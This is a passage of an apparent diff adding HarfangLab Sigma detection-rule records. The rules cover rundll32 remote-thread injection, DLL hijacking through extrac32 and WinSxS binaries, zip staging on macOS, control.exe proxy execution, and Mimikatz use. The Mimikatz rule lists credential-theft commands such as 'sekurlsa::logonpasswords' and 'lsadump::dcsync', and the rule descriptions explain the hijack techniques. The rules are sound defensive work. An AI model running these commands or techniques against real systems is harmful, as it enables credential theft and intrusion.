ProcessCommandLine|endswith:\n            - '\\rundll32.exe DXCap.dll,DXCap_Hook'\n            - '\\rundll32.exe DXCap64.dll,DXCap_Hook'\n\n    exclusion_panda_dll:\n        ProcessImage:\n            - '*\\Panda Security\\WAC\\PSNMVInj.dll'\n            - '*\\Panda Security\\WAC\\PSNAEInj64.dll'\n            - '?:\\Program Files (x86)\\Panda Security\\WAC\\helper_64.exe'\n\n    exclusion_panda_host:\n        ProcessOriginalFileName: 'PSANHost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Panda Security S.L.'\n\n    exclusion_epson:\n        ProcessCommandLine|startswith: 'rundll32.exe ?:\\Program Files (x86)\\EPSON Software\\Download Navigator\\\\*.dll,EPGetVersionEx'\n\n    exclusion_symantec:\n        ProcessOriginalFileName: 'ccSvcHst.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Symantec Corporation'\n\n    exclusion_genapi:\n        ProcessParentImage|endswith: '\\GenApi.iNot.Client.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'GENAPI'\n\n    exclusion_gamemon:\n        ProcessImage|endswith:\n            - '\\GameMon64.des'\n            - '\\GameMon.des'\n        ProcessSigned: 'true'\n        ProcessSignature: 'INCA Internet Co.,Ltd.'\n\n    exclusion_adinsight:\n        ProcessOriginalFileName: 'ADInsight'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_mcafee:\n        ProcessOriginalFileName:\n            - 'FireSvc.exe'\n            - 'fcags.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'McAfee, Inc.'\n\n    exclusion_rdrleakdiag:\n        ProcessOriginalFileName: 'RdrLeakDiag.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_repmgr:\n        ProcessImage|endswith: '\\RepMgr.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Carbon Black, Inc.'\n\n    exclusion_MpDlpService:\n        ProcessImage|endswith: '\\MpDlpService.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_bitdefender_installer:\n        ProcessImage|endswith: '\\Bitdefender\\Endpoint Security\\installer\\installer.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Bitdefender SRL'\n\n    exclusion_teruten:\n        ProcessImage:\n            - '?:\\Windows\\SysWOW64\\TDepend.exe'\n            - '?:\\Windows\\SysWOW64\\TDepend64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Teruten, Inc.'\n\n    exclusion_roblox:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\Roblox\\Versions\\version-????????????????\\RobloxPlayerBeta.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Roblox Corporation'\n\n    exclusion_fsecure:\n        ProcessImage: '?:\\Program Files (x86)\\F-Secure\\Client Security\\Ultralight\\ulcore\\\\*\\fsulprothoster.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'WithSecure Oyj'\n\n    exclusion_tiworker:\n        ProcessImage|endswith: '?:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_*\\TiWorker.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ba42bfa6-260e-4950-bcfc-e32a0708078d",
+  "rule_name": "Remote Thread Created inside RunDLL32 Process",
+  "rule_description": "Detects the creation of a remote thread inside RunDLL32.\nAdversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.\nRunDLL32 is a target of choice for attackers to hide their malicious activity inside a legitimate process.\nThe Cobalt Strike Framework uses this technique to try evade detection.\nIt is recommended to investigate the process performing the remote injection to ensure its legitimacy and origin, as well as to look for other suspicious actions on the host.\n",
+  "rule_creation_date": "2023-04-06",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ba55f6d5-4886-41fb-8312-c31e6b6e4c24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602696Z",
+  "creation_date": "2026-03-23T11:45:34.602700Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602708Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_extrac32.yml",
+  "content": "title: DLL Hijacking via extrac32.exe\nid: ba55f6d5-4886-41fb-8312-c31e6b6e4c24\ndescription: |\n    Detects potential Windows DLL Hijacking via extrac32.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'extrac32.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\Cabinet.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ba55f6d5-4886-41fb-8312-c31e6b6e4c24",
+  "rule_name": "DLL Hijacking via extrac32.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via extrac32.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ba7f10ac-1480-4b45-817d-16cce2cfb0a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588204Z",
+  "creation_date": "2026-03-23T11:45:34.588207Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588215Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.securityjoes.com/post/hide-and-seek-in-windows-closet-unmasking-the-winsxs-hijacking-hideout",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_winsxs_binary.yml",
+  "content": "title: WinSxS Binary Loaded Suspicious DLL\nid: ba7f10ac-1480-4b45-817d-16cce2cfb0a4\ndescription: |\n    Detects potential Windows DLL Hijacking using a WinSxS binary.\n    DLL hijacking usually takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers discovered a vulnerability in the Windows search order when using binaries located in the WinSxS system folder.\n    If a WinSxS binary is called from a current working directory containing a missing DLL, the binary will load the DLL planted by the attacker.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.securityjoes.com/post/hide-and-seek-in-windows-closet-unmasking-the-winsxs-hijacking-hideout\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/01/03\nmodified: 2025/09/01\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessImage|startswith: '?:\\Windows\\WinSxS\\'\n        ProcessCommandLine|contains: '\\Windows\\WinSxS\\'\n        ImageLoaded|endswith:\n            - '\\ClipUp.exe'\n            - '\\route.exe'\n            - '\\mcbuilder.exe'\n            - '\\cmd.exe'\n            - '\\ipconfig.exe'\n            - '\\systeminfo.exe'\n            - '.dll'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '\\Windows\\SysWOW64\\'\n            - '\\Windows\\System32\\'\n            - '\\Windows\\WinSxS\\'\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Acronis International GmbH'\n            - 'Adobe Inc.'\n            - 'Apple Inc.'\n            - 'Avast Software s.r.o.'\n            - 'AVG Technologies USA, LLC'\n            - 'Bitdefender srl'\n            - 'Broadcom Corporation'\n            - 'Broadcom Inc'\n            - 'Cybereason inc.'\n            - 'Cybereason, inc'\n            - 'Cylance, Inc.'\n            - 'Deep Instinct LTD'\n            - 'Devicelock, inc'\n            - 'Digitalpersona, inc.'\n            - 'Dropbox, Inc'\n            - 'Dynatrace LLC'\n            - 'ESET, spol. s r.o.'\n            - 'F-Secure Corporation'\n            - 'Fortinet Technologies (Canada) ulc'\n            - 'G DATA CyberDefense AG'\n            - 'Glavsoft llc.'\n            - 'HarfangLab SAS'\n            - 'Ivanti, Inc.'\n            - 'Kaspersky Lab Jsc'\n            - 'Kaspersky Lab'\n            - 'McAfee Test'\n            - 'Mcafee, inc.'\n            - 'Mcafee, llc'\n            - 'Michael Maltsev'  # Windhawk\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Hardware Compatibility Publisher'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n            - 'Musarubra us llc'\n            - 'national instruments corporation'\n            - 'Notepad++'\n            - 'NVIDIA Corporation PE Sign v2014'\n            - 'NVIDIA Corporation'\n            - 'Oracle America, Inc.'\n            - 'Panda Security s.l.'\n            - 'Sassafras Software Inc.'\n            - 'Sophos Limited'\n            - 'Sophos Ltd'\n            - 'Symantec Corporation'\n            - 'teamviewer germany gmbh'\n            - 'Trend Micro, Inc.'\n            - 'Vmware, Inc.'\n            - 'Withsecure oyj'\n\n    exclusion_explorer:\n        ProcessImage:\n            - '?:\\Windows\\winsxs\\x86_microsoft-windows-explorer_*\\explorer.exe'\n            - '?:\\Windows\\winsxs\\x64_microsoft-windows-explorer_*\\explorer.exe'\n\n    exclusion_tiworker:\n        - ProcessCommandLine: '?:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack*\\TiWorker.exe -Embedding'\n        - ProcessParentCommandLine: '?:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack*\\TiWorker.exe -Embedding'\n\n    # Werfault loads the image and some DLLs of a crashing program\n    exclusion_werfault:\n        ProcessOriginalFileName: 'WerFault.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ProcessCommandLine|contains:\n            - ' -u -p'\n            - ' Global\\'\n\n    # Runonce loads the image of the executable to launch\n    exclusion_runonce:\n        ProcessOriginalFileName: 'RUNONCE.EXE'\n\n    exclusion_regsvr32:\n        ProcessOriginalFileName: 'REGSVR32.EXE'\n\n    exclusion_scripting:\n        ProcessOriginalFileName:\n            - 'wscript.EXE'\n            - 'cscript.EXE'\n\n    exclusion_antiviruses:\n        ImageLoaded:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\Mp*.dll'\n            - '?:\\ProgramData\\Symantec\\Symantec Endpoint Protection\\\\*\\Data\\Sysfer\\x64\\sysfer.dll'\n\n    exclusion_other:\n        ImageLoaded:\n            - '?:\\Windows\\servicing\\CbsApi.dll'\n            - '?:\\Windows\\servicing\\wrpintapi.dll'\n            - '?:\\Windows\\CbsTemp\\\\*\\FodWU\\Metadata\\\\*.dll'\n            - '?:\\Windows\\CbsTemp\\\\*\\Client.OS.rs2.amd64\\Metadata\\\\*.dll'\n            - '?:\\Windows\\UUS\\amd64\\\\*.dll'\n\n    exclusion_dotnet:\n        ImageLoaded|startswith: '?:\\Windows\\assembly\\'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ba7f10ac-1480-4b45-817d-16cce2cfb0a4",
+  "rule_name": "WinSxS Binary Loaded Suspicious DLL",
+  "rule_description": "Detects potential Windows DLL Hijacking using a WinSxS binary.\nDLL hijacking usually takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers discovered a vulnerability in the Windows search order when using binaries located in the WinSxS system folder.\nIf a WinSxS binary is called from a current working directory containing a missing DLL, the binary will load the DLL planted by the attacker.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2024-01-03",
+  "rule_modified_date": "2025-09-01",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ba8ea44e-2cd1-4fda-9c3a-a597d5e7abf6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618548Z",
+  "creation_date": "2026-03-23T11:45:34.618550Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618555Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1560/001/"
+  ],
+  "name": "t1560_001_zip_archive_creation_file.yml",
+  "content": "title: Archive Created via zip in a Suspicious Folder\nid: ba8ea44e-2cd1-4fda-9c3a-a597d5e7abf6\ndescription: |\n    Detects the creation of an archive file using the zip utility in a folder commonly used by malicious actors.\n    Adversaries may compress and/or encrypt collected data prior to exfiltration.\n    It is recommended to check the processes leading to zip's execution and the content of the archive.\nreferences:\n    - https://attack.mitre.org/techniques/T1560/001/\ndate: 2024/07/22\nmodified: 2025/03/06\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1560.001\n    - attack.t1119\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Collection\n    - classification.macOS.Behavior.Exfiltration\nlogsource:\n    product: macos\n    category: filesystem_event\ndetection:\n    selection:\n        ProcessImage|endswith: '/zip'\n        Path|startswith:\n            - '/Users/shared/'\n            - '/private/var/tmp/'\n            - '/private/tmp/'\n        Kind: 'create'\n\n    exclusion_webex:\n        ProcessParentImage: '/Users/*/Library/Application Support/WebEx Folder/*/Meeting Center.app/Contents/Helpers/webexmta.app/Contents/MacOS/webexmta'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ba8ea44e-2cd1-4fda-9c3a-a597d5e7abf6",
+  "rule_name": "Archive Created via zip in a Suspicious Folder",
+  "rule_description": "Detects the creation of an archive file using the zip utility in a folder commonly used by malicious actors.\nAdversaries may compress and/or encrypt collected data prior to exfiltration.\nIt is recommended to check the processes leading to zip's execution and the content of the archive.\n",
+  "rule_creation_date": "2024-07-22",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1119",
+    "attack.t1560.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bab10aff-0573-459d-8f5c-5fca1a132406",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084204Z",
+  "creation_date": "2026-03-23T11:45:34.084206Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084210Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/gentilkiwi/mimikatz",
+    "https://attack.mitre.org/software/S0002/"
+  ],
+  "name": "t1003_launch_mimikatz.yml",
+  "content": "title: Mimikatz Execution\nid: bab10aff-0573-459d-8f5c-5fca1a132406\ndescription: |\n    Detects common binary names and arguments associated with Mimikatz.\n    Mimikatz is a popular offensive security tool used for credential acquisition and lateral movement on an Active Directory endpoint.\n    It is recommended to investigate the activity surrounding this action to determine its maliciousness and to verify that this is not part of an active security audit in your organization.\nreferences:\n    - https://github.com/gentilkiwi/mimikatz\n    - https://attack.mitre.org/software/S0002/\ndate: 2021/03/03\nmodified: 2025/04/09\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003\n    - attack.t1078\n    - attack.t1550.002\n    - attack.t1550.003\n    - attack.defense_evasion\n    - attack.t1207\n    - attack.s0002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.Mimikatz\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_binary:\n        - InternalName:\n            - 'mimikatz'\n            - 'mimilove'\n        - OriginalFileName:\n            - 'mimikatz.exe'\n            - 'mimilove.exe'\n    selection_args:\n        - CommandLine|contains:\n            - 'privilege::debug'\n            - 'kerberos::list'\n            - 'kerberos::ptt'\n            - 'kerberos::golden'\n            - 'kerberos::tgt'\n            - 'kerberos::purge'\n            - 'sekurlsa::logonpasswords'\n            - 'sekurlsa::tickets'\n            - 'sekurlsa::pth'\n            - 'sekurlsa::ekeys'\n            - 'sekurlsa::dpapi'\n            - 'sekurlsa::dpcred'\n            - 'sekurlsa::minidump'\n            - 'sekurlsa::wdigest'\n            - 'sekurlsa::kerberos'\n            - 'sekurlsa::krbtgt'\n            - 'token::elevate'\n            - 'lsadump::sam'\n            - 'lsadump::trust'\n            - 'lsadump::secrets'\n            - 'lsadump::cache'\n            - 'lsadump::lsa'\n            - 'lsadump::dcsync'\n            - 'lsadump::dcshadow'\n            - 'misc::addsid'\n            - 'misc::memssp'\n            - 'misc::skeleton'\n\n    condition: selection_binary or selection_args\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bab10aff-0573-459d-8f5c-5fca1a132406",
+  "rule_name": "Mimikatz Execution",
+  "rule_description": "Detects common binary names and arguments associated with Mimikatz.\nMimikatz is a popular offensive security tool used for credential acquisition and lateral movement on an Active Directory endpoint.\nIt is recommended to investigate the activity surrounding this action to determine its maliciousness and to verify that this is not part of an active security audit in your organization.\n",
+  "rule_creation_date": "2021-03-03",
+  "rule_modified_date": "2025-04-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1078",
+    "attack.t1207",
+    "attack.t1550.002",
+    "attack.t1550.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bab5e737-6c2c-4c7b-91d5-2de4b89836fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069979Z",
+  "creation_date": "2026-03-23T11:45:34.069981Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069986Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.002/T1218.002.md",
+    "https://attack.mitre.org/techniques/T1218/002/"
+  ],
+  "name": "t1218_002_suspicious_control_panel_execution.yml",
+  "content": "title: Suspicious Process Executed via Control Panel\nid: bab5e737-6c2c-4c7b-91d5-2de4b89836fb\ndescription: |\n    Detects the suspicious execution of a process by the control.exe Windows Control Panel binary, which may indicate an attempt to proxy malicious DLL execution through the Windows Control Panel.\n    Control.exe is a legitimate Windows system binary that handles the execution of Control Panel items and applets. Rundll32.exe is a Windows utility that loads and executes functions from Dynamic Link Libraries (DLLs). Attackers can use control.exe to spawn rundll32.exe, effectively proxying the execution of malicious DLLs while appearing to originate from a trusted system component.\n    It is recommended to investigate the command-line arguments of the rundll32.exe process to identify the specific DLL being loaded, analyze it, and review any network connections or file system modifications made at the time of execution.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.002/T1218.002.md\n    - https://attack.mitre.org/techniques/T1218/002/\ndate: 2021/07/16\nmodified: 2025/05/13\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Rundll32\n    - classification.Windows.LOLBin.Control\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\rundll32.exe'\n        GrandparentImage|endswith: '\\control.exe'\n\n    exclusion_parent:\n        ParentCommandLine:\n            - '?:\\WINDOWS\\system32\\rundll32.exe Shell32.dll,Control_RunDLL'\n            - '?:\\WINDOWS\\system32\\rundll32.exe Shell32.dll,Control_RunDLL ?:\\Windows\\System32\\\\*'\n            - '?:\\Windows\\System32\\rundll32.exe ?:\\Windows\\System32\\shell32.dll,Control_RunDLL ?:\\Windows\\System32\\\\*'\n            - '?:\\WINDOWS\\system32\\rundll32.exe Shell32.dll,Control_RunDLL ?:\\Program Files (x86)\\SageThumbs\\64\\SageThumbs.dll'\n            - '?:\\windows\\system32\\rundll32.exe Shell32.dll,Control_RunDLL ?:\\Program Files\\Microsoft Office\\Office??\\MLCFG32.CPL,'\n            - '?:\\WINDOWS\\system32\\rundll32.exe Shell32.dll,Control_RunDLL ?:\\Program Files\\Microsoft Office\\root\\Office??\\MLCFG32.CPL,'\n\n    exclusion_commandline:\n        CommandLine:\n            - '?:\\Windows\\System32\\ComputerDefaults.exe'\n            - '?:\\Windows\\System32\\SystemPropertiesComputerName.exe'\n            - '?:\\windows\\SysWOW64\\SystemPropertiesComputerName.exe'\n            - '?:\\Windows\\System32\\SystemPropertiesRemote.exe'\n            - '?:\\windows\\system32\\rundll32.exe ?:\\windows\\system32\\\\*'\n            - '?:\\Windows\\System32\\rundll32.exe ?:\\Program Files\\\\*'\n            - '?:\\Windows\\System32\\rundll32.exe ?:\\Program Files (x86)\\\\*'\n            - '?:\\windows\\SysWOW64\\rundll32.exe ?:\\windows\\SysWOW64\\shell32.dll,#44 ?:\\Program Files (x86)\\\\*'\n            - '?:\\WINDOWS\\SysWOW64\\rundll32.exe ?:\\windows\\SysWOW64\\shell32.dll,#44 \\\\\\\\*\\c$\\Program Files (x86)\\\\*'\n            - '?:\\WINDOWS\\SysWOW64\\rundll32.exe ?:\\windows\\SysWOW64\\shell32.dll,#44 ?:\\Windows\\SysWOW64\\\\*'\n            - '?:\\WINDOWS\\system32\\rundll32.exe Shell32.dll,Control_RunDLL modem.cpl,,Add'\n            - '?:\\WINDOWS\\system32\\rundll32.exe Shell32.dll,Control_RunDLL ?:\\WINDOWS\\CCM\\SMSCFGRC.cpl'\n            - '?:\\WINDOWS\\system32\\mmc.exe ?:\\windows\\system32\\devmgmt.msc'\n            - '?:\\Windows\\System32\\rundll32.exe devmgr.dll,DeviceProperties_RunDLL *'\n            - '?:\\Windows\\system32\\control.exe /name Microsoft.Language'\n            - '?:\\Windows\\System32\\control.exe ?:\\windows\\system32\\\\*'\n            - '?:\\windows\\explorer.exe ms-settings:display'\n            - '?:\\Windows\\System32\\SndVol.exe -s'\n            - '?:\\WINDOWS\\system32\\\\*.scr /p *'\n            - '?:\\Windows\\system32\\ieunatt.exe specialize'\n            - '?:\\WINDOWS\\system32\\WerFault.exe -u -p * -s 